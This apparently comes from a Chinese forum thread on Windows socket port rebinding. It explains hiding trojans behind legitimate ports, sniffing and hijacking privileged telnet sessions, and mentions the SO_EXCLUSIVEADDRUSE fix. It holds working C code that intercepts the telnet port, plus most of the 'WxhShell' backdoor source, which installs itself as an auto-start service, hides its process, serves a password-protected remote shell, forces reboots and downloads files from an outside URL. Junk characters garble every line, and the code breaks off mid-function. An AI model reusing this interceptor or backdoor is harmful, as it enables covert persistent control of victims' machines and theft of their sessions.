社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16121阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: l% %cU"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :=q9ay   
#t# S(A9)  
  saddr.sin_family = AF_INET; e cvZwL  
9/&1lFKJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); RJT55Rv{  
l9y%@7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); :G^4/A_  
'}>8+vU`  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 O7&OCo|b%>  
vj#m#1\ f  
  这意味着什么?意味着可以进行如下的攻击: \ sz](X  
s1%2({wP  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [P)](8nR[  
5*B'e{C  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^ 6t"A  
Cf<TDjU`|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @k:@mzB7R  
&Dp&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  9]{Ss$W3x  
t[b(erO'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 B(- F|q\  
~g~`,:Qc  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0r&FH$  
q7rX4-G$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 -/7@ A  
\IR $~  
  #include fv>Jn`  
  #include * _,yK-et  
  #include j_zy"8Y{  
  #include    73nmDZO|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6p,}?6^  
  int main() Fk`6 q  
  { :}v:=ck  
  WORD wVersionRequested; c Ct5m  
  DWORD ret; "(+aWvb  
  WSADATA wsaData; GsqO^SV  
  BOOL val; $VxuaOTyVZ  
  SOCKADDR_IN saddr; ]HG> Og  
  SOCKADDR_IN scaddr; MAc/ T.[  
  int err; ~~ty9;KYL  
  SOCKET s; ^M1O)   
  SOCKET sc; xkaed  
  int caddsize; 7tY~8gQel  
  HANDLE mt; itO1ROmu  
  DWORD tid;   sQT,@+JEr  
  wVersionRequested = MAKEWORD( 2, 2 ); %Si3LQf  
  err = WSAStartup( wVersionRequested, &wsaData ); Q6[h;lzGV  
  if ( err != 0 ) { _9/Af1 X  
  printf("error!WSAStartup failed!\n"); <g8{LG0  
  return -1; <S@2%%W  
  } ;/^O7KM-  
  saddr.sin_family = AF_INET; j8t_-sU9 i  
   D6FG$SV  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 kN vNV(4  
v[m1R'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *b1NVN$  
  saddr.sin_port = htons(23); B8V85R  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mj2sbRiSR=  
  { DsiyN:o'+  
  printf("error!socket failed!\n"); Yd~Tzh  
  return -1; Sa6YqOel@  
  } "9H#pj -  
  val = TRUE; JCITIjD7=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 CT{ X$N  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /Dk`?  
  { LkXF~  
  printf("error!setsockopt failed!\n"); ??P> HVx  
  return -1; C2J@]&  
  } %vrUk;<35  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; a'\fS7aE0l  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "&kXAwe  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 t\<*Q3rl-  
o6:p2W  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) d8f S79  
  { 4wwRNu*  
  ret=GetLastError(); PF;`mdi-,  
  printf("error!bind failed!\n"); !=+hU/e  
  return -1; gf|&u4D  
  } 3],[6%w  
  listen(s,2); 2FTJxSC  
  while(1) $D#eD.  
  { )$FwB6^  
  caddsize = sizeof(scaddr); rAQ3x0  
  //接受连接请求 ^eqq|(<K  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); RXbZaje$  
  if(sc!=INVALID_SOCKET) fAeq(tI=  
  { mz .uK2l{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ob=IaZ@?  
  if(mt==NULL) 9KZLlEk5O  
  { g*:f#u5  
  printf("Thread Creat Failed!\n"); e&="5.ik  
  break; /57)y_ \  
  } q?Mmkh)g  
  } If.hA}  
  CloseHandle(mt); cz*Z/5XH  
  } WAh{*$Rpl  
  closesocket(s); *s"{JrG`O  
  WSACleanup(); "V7&@3  
  return 0; 0-A@X>6bs  
  }   ).>O6A4:C  
  DWORD WINAPI ClientThread(LPVOID lpParam) ~FZ=  
  { rIF6^?  
  SOCKET ss = (SOCKET)lpParam; *ps")?tlC  
  SOCKET sc; 6rzXM`cs  
  unsigned char buf[4096]; 9m_Hm')VG  
  SOCKADDR_IN saddr; c ]&|.~2&  
  long num; c5tCw3$t  
  DWORD val; e@crM'R7Lo  
  DWORD ret; yi3Cd@t({{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 h{M.+I$}C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   e? !A]2  
  saddr.sin_family = AF_INET; "zBYhZr  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); FDO$(&  
  saddr.sin_port = htons(23);  |<1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :+\B|*T2.L  
  { VSa#X |z  
  printf("error!socket failed!\n"); b\9}zmG[u  
  return -1; q%GlS=o "  
  } o%=OBTh_   
  val = 100; TW?A/GoXI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ny)!uqul*  
  { FQCz_ z  
  ret = GetLastError(); '0>w_ge4  
  return -1; 2q.J1:lW  
  } &8uq5uKg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *J] }bX  
  { '\.fG\xD  
  ret = GetLastError(); ( RCQbI  
  return -1; Qf}b3WEAI  
  } ^iaG>rvA  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qY$/i#  
  { G4eY}3F7,4  
  printf("error!socket connect failed!\n"); &'-ze,k}  
  closesocket(sc); t#6@~49  
  closesocket(ss); D^9r#&  
  return -1; Y5Jrkr)k  
  } -*Z;EA-  
  while(1) DkGC+Dw  
  { !Wz%Hy:ZK  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !r*Ogv[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \sZ!F&a~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V8.o}BWY  
  num = recv(ss,buf,4096,0); ;y"q uJ'O  
  if(num>0) A296 f(  
  send(sc,buf,num,0); 8P= z"y  
  else if(num==0) N v,Yikf  
  break; (:]on^|  
  num = recv(sc,buf,4096,0); t LZ4<wc  
  if(num>0)  &(Ot(.  
  send(ss,buf,num,0); u*J,3o} <  
  else if(num==0) +WYXj  
  break; [vs5e3B)  
  } (\<#fkeH  
  closesocket(ss); 3jB5F0^r1  
  closesocket(sc); &k4)&LQJ  
  return 0 ; 4 u!)QG  
  } c~a:i=y67  
!yQ#E2/A  
A\7qPfpG  
========================================================== MjW g  
8QN#PaY  
下边附上一个代码,,WXhSHELL =)GhrWeVi4  
n2$(MDdL`  
========================================================== Ht Z3n"2  
G 'sEbw'[  
#include "stdafx.h" s<t*g]0`/  
P=%' 2BQ{{  
#include <stdio.h> b+.P4+  
#include <string.h> tz&oe  
#include <windows.h> |lOH PA  
#include <winsock2.h> \,i?WgWv  
#include <winsvc.h> J`*!U4  
#include <urlmon.h> b]X c5Dp{  
ny:4L{)  
#pragma comment (lib, "Ws2_32.lib") 7]w]i5  
#pragma comment (lib, "urlmon.lib") -5~&A6+ILn  
}x^q?;7xW  
#define MAX_USER   100 // 最大客户端连接数 ~al4`:rRx1  
#define BUF_SOCK   200 // sock buffer VYb6#sl  
#define KEY_BUFF   255 // 输入 buffer ?,J'3nZ'  
CnT]u U  
#define REBOOT     0   // 重启 k%5 o5Hx  
#define SHUTDOWN   1   // 关机 !vB8Pk"  
6 ZutU ~HS  
#define DEF_PORT   5000 // 监听端口 4ACL|RF)A  
k/&~8l.$  
#define REG_LEN     16   // 注册表键长度 Vnu*+  
#define SVC_LEN     80   // NT服务名长度 1d4?+[)gUv  
]D@_cxud3  
// 从dll定义API 8%qHy1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y3 vDKZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +O 2H":$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9#CE m &c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [YQVZBT|{  
y Q_lJIX  
// wxhshell配置信息 f,ajo   
struct WSCFG { l cHqg  
  int ws_port;         // 监听端口 ^Gc#D:zU  
  char ws_passstr[REG_LEN]; // 口令 a&3pPfC  
  int ws_autoins;       // 安装标记, 1=yes 0=no dVh*  a  
  char ws_regname[REG_LEN]; // 注册表键名 h7iI=[_V  
  char ws_svcname[REG_LEN]; // 服务名 %. =B=*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Gm 0&y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M PhG:^g  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,U\F <$O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %z}{jqD&:X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /~?'zr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~|_s2T  
U8+5{,$\.  
}; {G:dhi  
lLq:(zMH  
// default Wxhshell configuration o& g0 1t  
struct WSCFG wscfg={DEF_PORT, L 1FT h  
    "xuhuanlingzhe", vR X_}`m8#  
    1, 0=3Av8  
    "Wxhshell", 5E|y5|8fb  
    "Wxhshell", 2UPqn#.3  
            "WxhShell Service", vN`2KCl~3  
    "Wrsky Windows CmdShell Service", K'6dlwn).  
    "Please Input Your Password: ", "enGWI H  
  1, KiXRBFo  
  "http://www.wrsky.com/wxhshell.exe",  F'!pM(+  
  "Wxhshell.exe" ]m _<lRye  
    }; ,P&.qg i=(  
5 *8 V4ca  
// 消息定义模块 u|v2J/_5Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,i>{yrsOh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @+OX1-dd/w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; noali96J  
char *msg_ws_ext="\n\rExit."; O_yk<  
char *msg_ws_end="\n\rQuit."; z+RA  
char *msg_ws_boot="\n\rReboot..."; llbf(!  
char *msg_ws_poff="\n\rShutdown..."; F|,_k%QP  
char *msg_ws_down="\n\rSave to "; v1s.j2T  
n]?KDID;  
char *msg_ws_err="\n\rErr!"; A2fc_A/a  
char *msg_ws_ok="\n\rOK!"; v{/z`J!JR  
A4lW8&rHI  
char ExeFile[MAX_PATH]; C5q n(tv  
int nUser = 0; o5NV4=  
HANDLE handles[MAX_USER]; F }/tV7m  
int OsIsNt; =Oo=&vA.oc  
6Qo YX] .  
SERVICE_STATUS       serviceStatus; Q{s9{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |\PI"rW  
T$p!I RPt  
// 函数声明 7rF )fKW  
int Install(void); m&o6j>C  
int Uninstall(void); xc4g`Xi  
int DownloadFile(char *sURL, SOCKET wsh); _$g2;X >  
int Boot(int flag); =UGyZV:z5  
void HideProc(void); 4<j)1i=A  
int GetOsVer(void); !fwMkws  
int Wxhshell(SOCKET wsl); ! ^~ ^D<  
void TalkWithClient(void *cs); n};:*N! v  
int CmdShell(SOCKET sock); 7Nu.2qE  
int StartFromService(void); TuF;>{~}  
int StartWxhshell(LPSTR lpCmdLine); ,".1![b  
3`%]3qd}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ljr?Z,R4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %25GplMT  
d) i:-#Q  
// 数据结构和表定义 (gdi 2  
SERVICE_TABLE_ENTRY DispatchTable[] = Rm i4ZPb.  
{ .uo9VL<  
{wscfg.ws_svcname, NTServiceMain}, 36 &ghx  
{NULL, NULL} s7"NK"  
}; ]Alv5?E60  
iJ&*H)}^  
// 自我安装 ku8C#%.m3  
int Install(void) Aoi) 11>  
{ zv~dW4'  
  char svExeFile[MAX_PATH]; <_o).hE{  
  HKEY key; 0j}!4D+  
  strcpy(svExeFile,ExeFile); 'AU:[eyUV  
%5?Zjp+9  
// 如果是win9x系统,修改注册表设为自启动 "s$$M\)T  
if(!OsIsNt) { thT2U8%T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8h,>f#)0c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ECZ`I Z.  
  RegCloseKey(key); $N;Nvp2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <$ "   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9oe=*#Ig1m  
  RegCloseKey(key); y.iA]Ikz  
  return 0; wFe?0u  
    } @%aU)YDwi  
  } Q%_QT0H9Kz  
} ^x BQ#p  
else { #N?VbDK9_  
;hz;|\ko5  
// 如果是NT以上系统,安装为系统服务 mz[Q]e~&i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \LN!k-c  
if (schSCManager!=0) -:$#koW  
{ >cTSX  
  SC_HANDLE schService = CreateService W@b Z~Q9  
  ( HX)oN8  
  schSCManager, TJ_<21a  
  wscfg.ws_svcname, }0y2k7^]  
  wscfg.ws_svcdisp, |c<h& p  
  SERVICE_ALL_ACCESS, bR\Oyd~e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j aU.hASj  
  SERVICE_AUTO_START, rEoMj)~\4&  
  SERVICE_ERROR_NORMAL, i9RAb tQ}  
  svExeFile, (aeS+d x  
  NULL, 3Fu5,H EJ  
  NULL, l;~b:[r  
  NULL, s*g`| E{M  
  NULL, n|p(Cb#G  
  NULL  V6L0\  
  ); ^\(<s  
  if (schService!=0) iImy"$yX{  
  { SsY :gp_  
  CloseServiceHandle(schService); 3J3Yt`  
  CloseServiceHandle(schSCManager); ;4:[kv@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >bLhCgF:"  
  strcat(svExeFile,wscfg.ws_svcname); F|wT']1Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;h7W(NO~z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hI$IBf>  
  RegCloseKey(key); -eQ>3x&3r  
  return 0; )/p=ZH0[  
    } D\4pLm"!v  
  } Pg''>6w>  
  CloseServiceHandle(schSCManager); hy]8t1894  
} at )m*  
} vWs#4JoG  
{%&!x;%  
return 1; O>KrTK-AV  
} x+Ws lN 2a  
: Yb_  
// 自我卸载 2]UwIxzR  
int Uninstall(void) >d9b"T  
{ BwJL)$D<S  
  HKEY key; j=up7395  
o..iT:f;n  
if(!OsIsNt) { L!c.1Rf_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \z8j6 h  
  RegDeleteValue(key,wscfg.ws_regname); F*Y]^9]  
  RegCloseKey(key); -T8'|"g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CZzgPId%x  
  RegDeleteValue(key,wscfg.ws_regname); 3+4U?~^k*  
  RegCloseKey(key); G'<Ie@$6l  
  return 0; riu_^!"Z_  
  } ~p!=w#/  
} !^x;4@Ejm  
} P-_2IZiz  
else { _qf$dGqc  
A=f)ntH~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _g]h \3  
if (schSCManager!=0) =e"RE/q2  
{ z=j,-d%9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !q[r_wL  
  if (schService!=0) TB%NHq-!  
  { :5#iVa#<  
  if(DeleteService(schService)!=0) { 3P|z`}Ka  
  CloseServiceHandle(schService); 5L0w!q'W  
  CloseServiceHandle(schSCManager); L2Z-seE  
  return 0; }nK=~Wcu\  
  } Maw$^Tz,  
  CloseServiceHandle(schService); aJzyEb  
  } GTocN1,Z~a  
  CloseServiceHandle(schSCManager); f5`q9w_c  
} ,GY K3+}Z  
} [!S%nYs&8L  
tE$oV  
return 1; }I"k=>Ycns  
} +'"NKZ.>TT  
= tY%k!R  
// 从指定url下载文件 89YG `  
int DownloadFile(char *sURL, SOCKET wsh) sHPK8Wsg  
{ Qm)c!  
  HRESULT hr; S^:7V[=EgI  
char seps[]= "/"; =KW~k7TaN  
char *token; A5IW[Gu!  
char *file; Jz@2?wSp  
char myURL[MAX_PATH]; ,c&%/"i:w  
char myFILE[MAX_PATH]; O|mWQp^?q  
[+wLy3_  
strcpy(myURL,sURL); ] ]lN[J  
  token=strtok(myURL,seps); Ro.br:'Bw  
  while(token!=NULL) U}<'[o V  
  { Ol)M0u  
    file=token; j-k]|0ea}  
  token=strtok(NULL,seps); \y0]BH  
  } G7YBo4v  
[N_)V kpr  
GetCurrentDirectory(MAX_PATH,myFILE); jyFKO[s\X  
strcat(myFILE, "\\"); *EF`s~  
strcat(myFILE, file); :+v4,=fHy  
  send(wsh,myFILE,strlen(myFILE),0); d:g0XP  
send(wsh,"...",3,0); 2rrC y C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3Lm7{s?=Z-  
  if(hr==S_OK) u a_(wBipy  
return 0; 2!nz>K  
else Id?2(Tg  
return 1; C4|H 5H  
yaK4% k  
} ,D93A  
+-PFISa<r  
// 系统电源模块 F @uOXNz)  
int Boot(int flag) NI2-*G_M  
{ uX8G<7O^  
  HANDLE hToken; *d}{7UMy#  
  TOKEN_PRIVILEGES tkp; Os[50j!4>  
UJ^-T+fut  
  if(OsIsNt) { . sv uXB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rds0EZ4W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); cdv0:+[P  
    tkp.PrivilegeCount = 1; ^o[(F<q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "vo o!&<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zC WN,K`  
if(flag==REBOOT) { t|v_[Za}Z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -"x25~k!?F  
  return 0; %5Zhq>  
} #OsUF,NU  
else { hOr4C4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b/&{:g!B  
  return 0; @WuG8G  
} >]/aG!  
  } tREC)+*\  
  else { S!g0J}.z  
if(flag==REBOOT) { f"d4HZD^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8RJa;JsH  
  return 0; T%@qlEmf  
} |K'7BK_^J  
else { 7KZ>x*o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `m\l#r 2C  
  return 0; N3|aNQ=X0  
} AfJ.SNE  
} SAUG+{Uq  
dk@iAL*v  
return 1; Rqun}v}  
} s AlOX`t  
\)+s)&JLb  
// win9x进程隐藏模块 f4+}k GJN  
void HideProc(void) Yp6% @c6\  
{ 2-DJ3OL]k  
 r95$( N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ? W2W y\  
  if ( hKernel != NULL ) r&O:Bt}x  
  { csms8J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k^Uk= )9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~.<}/GP]_  
    FreeLibrary(hKernel); +KHk`2{y~  
  } xi!R[xr1  
{>zQW{!  
return; xwZ7I  
} Vf` 9[*j  
cB2jf</  
// 获取操作系统版本 fXB64MNo  
int GetOsVer(void) =d1i<iw?-  
{ @^K_>s9B  
  OSVERSIONINFO winfo; [p 8fg!|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); d>jRw  
  GetVersionEx(&winfo); T`r\yl}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <UBB&}R0  
  return 1; AGgL`sP  
  else zK ir  
  return 0; %( o[H sl  
} nISfRXU;  
H^0`YQJ3  
// 客户端句柄模块 FW!1 0K?  
int Wxhshell(SOCKET wsl) ARa9Ia{@  
{ YhJ*(oWL  
  SOCKET wsh; hxj[gE'R(  
  struct sockaddr_in client; n Y=]KU  
  DWORD myID; a3(q;^v  
5: O,-b&  
  while(nUser<MAX_USER) Tp fC  
{ }Oh@`xTxt  
  int nSize=sizeof(client); TF;}NQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P] 9-+  
  if(wsh==INVALID_SOCKET) return 1; l@nG?l #  
7|$ H}$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x\!Uk!fM  
if(handles[nUser]==0) 7s'r3}B`  
  closesocket(wsh); uY*|bD`6&  
else cT,5xp"a  
  nUser++; Odj4)   
  } o_DZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "T'?Ah6  
'X1fb:8m8  
  return 0; @Z%I g  
} I\oI"\}U  
% .n 7+  
// 关闭 socket F/zbb  
void CloseIt(SOCKET wsh) F` gQ[  
{ $XO#qOW  
closesocket(wsh); -~ 5|_G2Y"  
nUser--; WMXk-?v4  
ExitThread(0); 4e5 5  
} H:&|q+K=#  
>XiTl;UU  
// 客户端请求句柄 SSG}'W!z  
void TalkWithClient(void *cs) OBJk\j+Wi  
{ 4?F7%^vr  
%b(non*  
  SOCKET wsh=(SOCKET)cs; Dt p\ T|)  
  char pwd[SVC_LEN]; 4Js9"<w  
  char cmd[KEY_BUFF]; [MVG\6Up(  
char chr[1]; wa}\bNKQk  
int i,j; ;~5w`F)  
}^Kye23  
  while (nUser < MAX_USER) { STH?X] /  
Qg;?C  
if(wscfg.ws_passstr) { sVJwe\!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e.:SBXZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <xWBS/K  
  //ZeroMemory(pwd,KEY_BUFF); @f wk  
      i=0; !O~5<tA[#1  
  while(i<SVC_LEN) { ^@0-E@ {c  
+r 2\v  
  // 设置超时 WSPlM"h  
  fd_set FdRead; `&-)(#  
  struct timeval TimeOut; =2yg:D  
  FD_ZERO(&FdRead); _N-JRM m<  
  FD_SET(wsh,&FdRead); iSz?V$}?  
  TimeOut.tv_sec=8; 'aoHNZfxw  
  TimeOut.tv_usec=0; ;'x\L<b/)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q #%C)7)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p|b&hgA  
y $K#M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h"~GaI  
  pwd=chr[0]; R0!qweGi@  
  if(chr[0]==0xd || chr[0]==0xa) { 7iJ=~po:o  
  pwd=0; <M4Qc12jP  
  break; \x_fP;ma=_  
  } (Mw<E<f  
  i++; !@<>S>uGG  
    } jS,zdJs=  
#r4S%  
  // 如果是非法用户,关闭 socket ihr l!A5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /6%<97/d  
} N7`<t&T@  
'F665  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); + ^9;<>P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i+z;tF`  
wEImpsC`  
while(1) { u*NU MT2  
^Q\O8f[u  
  ZeroMemory(cmd,KEY_BUFF); =5-|H;da  
-bHfo%"^TT  
      // 自动支持客户端 telnet标准   %)K)h&m  
  j=0; 8I'Am"bc \  
  while(j<KEY_BUFF) { J0hY~B~X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q*+_%n1 /  
  cmd[j]=chr[0]; faVR %  
  if(chr[0]==0xa || chr[0]==0xd) {  j`9+pI  
  cmd[j]=0; MFyMo  
  break; z!={d1u#T  
  } @fH?y Z=>  
  j++; kM`!'0kt  
    } !y>MchNv  
|H)WJ/`  
  // 下载文件 N8>;BHBV!  
  if(strstr(cmd,"http://")) { ktr l|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hlw0i a  
  if(DownloadFile(cmd,wsh)) v<`1z?dch  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]eJjffx  
  else !:[kS1s>M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tilL7  
  } 79>8tOuo  
  else { / !*gH1 s  
p?X`f#  
    switch(cmd[0]) { G([!(8&2Y  
  2_x~y|<9  
  // 帮助 xCd9b:jG  
  case '?': { 0-^wY8n-=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dD2N!umW  
    break; hupYiI~  
  } GMZj@q  
  // 安装 cN>z`x l  
  case 'i': { ZZa$/q"  
    if(Install()) z.9 #AN=&[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AID}NQ Qj_  
    else ^%v<I"<Uq5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,'CDKzY  
    break; =~&Fq$$  
    } TT429  
  // 卸载 &S.zc@rN  
  case 'r': { eKL)jzC:  
    if(Uninstall()) HgwL~vG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XB &-k<C  
    else )p MZ5|+X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "-N)TIzLX  
    break; 9's/~T  
    } S? }@2[  
  // 显示 wxhshell 所在路径 RN?z)9!  
  case 'p': { |4i,Vkfhe  
    char svExeFile[MAX_PATH]; $ V"~\h8  
    strcpy(svExeFile,"\n\r");  _"ysJ&  
      strcat(svExeFile,ExeFile); \jdpL1  
        send(wsh,svExeFile,strlen(svExeFile),0); EiY i<Z_S  
    break; m6bI<C3^5  
    } W39R)sra  
  // 重启 ms=I lz  
  case 'b': { saH +C@_,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); rs@,<DV)u  
    if(Boot(REBOOT)) wovWEtVBU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Lrdw3(  
    else { V*U7-{ *a  
